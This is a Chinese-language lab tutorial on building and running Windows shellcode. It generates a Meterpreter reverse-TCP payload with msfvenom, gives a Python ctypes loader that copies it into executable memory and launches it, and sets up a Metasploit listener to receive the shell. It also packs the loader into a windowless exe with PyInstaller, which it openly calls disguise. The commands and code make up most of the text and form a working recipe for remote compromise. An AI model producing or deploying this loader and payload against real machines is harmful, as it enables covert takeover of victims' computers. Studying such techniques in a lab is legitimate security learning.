虚拟机环境搭建
【Kali】: 192.168.10.131
【win】: 192.168.10.1
shellcode
是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。
但是想要更充分理解什么是shellcode,我们得先了解下可执行程序和shellcode都是怎么运行的。
简单来说,平时在电脑上运行的程序一般是exe等可执行程序,它有图标、版本号可能还有图片等等数据,在程序开发的时候通常把这些称为资源段
,除此之外exe程序内部还有数据段
和代码段
,因为exe是有标准的文件结构的,程序真正执行的功能就是其中的代码段。
但shellcode没有完整的文件结构,它相当于是exe文件里面的代码段部分,因此不论将shellcode代码保存成什么文件格式(1.exe/2.jpg等)双击都是无法运行的,因为它不是操作系统规定的任何一种文件格式。
因此要运行shellcode需要我们自己写程序把它加载到指定的内存中去运行,这个程序通常就是shellcode加载器
。
一、shellcode入门实验
演示一下如何生成python语言的shellcode以及如何通过msf上线获得shell,并且也介绍下如何将python程序打包成exe可执行程序。
1.1 msfvemon生成python shellcode代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.131 LPORT=4444 -f py -o shellcode_64.py
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
......buf += b"\xf0\xb5\xa2\x56\xff\xd5"
在python语法中,以 b
开头的字符串表示字节串,它由一系列字节(bytes)组成。
字节串在处理二进制数据或特定编码的数据时很有用,例如处理网络数据、加密算法等。
在上面的shellcode payload中,\x
表示后面跟着的两个十六进制数字表示一个字节。
1.2 编写一个python的shellcode加载器
# -*- coding: utf-8 -*-import ctypesbuf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"省略其他部分"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
Tips
:ctypes是python内置库,使python可以直接调用操作系统内核API接口
1.3 msf启动一个监听器,靶机运行上面shellcode
【kali】
,配置如下:
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.131
set LPORT 4444
exploit
【win(靶机)】
,配置如下:
靶机上运行python shellcode加载器程序
(需要自己手动加工一下):
python shellcode.py
【kali】端
:
靶机运行脚本之后,kali立马收到了来自靶机的会话:
中间出了一点问题,经排查发现payload有问题。
1.4 将shellcode及加载器打包成exe程序(伪装)
PyInstaller
是一个在Windows、GNU/Linux、macOS等平台下将Python程序冻结(打包)为独立可执行文件的工具, 用于在未安装Python的平台上执行Python编写的应用程序。
# 安装PyInstaller模块
pip install PyInstaller
# 进行pyinstaller打包
pyinstaller -F -w shellcode.py